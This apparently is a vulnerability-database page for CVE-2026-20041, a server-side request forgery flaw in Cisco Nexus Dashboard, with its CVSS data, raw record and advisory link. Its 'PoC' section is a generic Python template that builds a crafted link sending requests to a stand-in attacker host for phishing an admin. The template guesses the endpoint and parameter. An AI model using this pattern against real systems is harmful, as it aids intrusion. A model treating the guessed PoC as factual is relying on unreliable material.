Security Vulnerability Report
中文
CVE-2026-20041 CVSS 6.1 MEDIUM

CVE-2026-20041

Published: 2026-04-01 17:28:26
Last Modified: 2026-04-03 16:11:11

Description

A vulnerability in Cisco Nexus Dashboard and Cisco Nexus Dashboard Insights could allow an unauthenticated, remote attacker to conduct a server-side request forgery (SSRF) attack through an affected device. This vulnerability is due to improper input validation for specific HTTP requests. An attacker could exploit this vulnerability by persuading an authenticated user of the device management interface to click a crafted link. A successful exploit could allow the attacker to send arbitrary network requests that are sourced from the affected device to an attacker-controlled server. The attacker could then execute arbitrary script code in the context of the affected interface or access sensitive browser-based information.

CVSS Details

CVSS Score
6.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Cisco Nexus Dashboard (具体受影响版本请参考官方公告)
Cisco Nexus Dashboard Insights (具体受影响版本请参考官方公告)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target URL of the Cisco Nexus Dashboard # Replace with actual vulnerable endpoint based on advisory target_base = "https://<target-ip-or-domain>" vulnerable_endpoint = "/api/v1/specific-endpoint" # Attacker controlled server to receive requests attacker_server = "http://attacker-controlled-server/callback" # The payload crafted to trigger SSRF # This assumes the vulnerable endpoint takes a 'url' parameter payload = { "url": attacker_server, "other_param": "value" } # Step 1: Attacker sends this link to an authenticated admin # Link: https://<target-ip-or-domain>/api/v1/specific-endpoint?url=http://attacker-controlled-server/callback # Step 2: If the admin clicks, the server sends a request to 'attacker_server' print(f"[+] Send this link to victim: {target_base}{vulnerable_endpoint}?url={attacker_server}") # Step 3: Check attacker server logs for incoming requests from the target device

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-20041", "sourceIdentifier": "[email protected]", "published": "2026-04-01T17:28:25.917", "lastModified": "2026-04-03T16:11:11.357", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability in Cisco Nexus Dashboard and Cisco Nexus Dashboard Insights could allow an unauthenticated, remote attacker to conduct a server-side request forgery (SSRF) attack through an affected device.\r\n\r\nThis vulnerability is due to improper input validation for specific HTTP requests. An attacker could exploit this vulnerability by persuading an authenticated user of the device management interface to click a crafted link. A successful exploit could allow the attacker to send arbitrary network requests that are sourced from the affected device to an attacker-controlled server. The attacker could then execute arbitrary script code in the context of the affected interface or access sensitive browser-based information."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-918"}]}], "references": [{"url": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-nd-ssrf-NAen4O7r", "source": "[email protected]"}]}}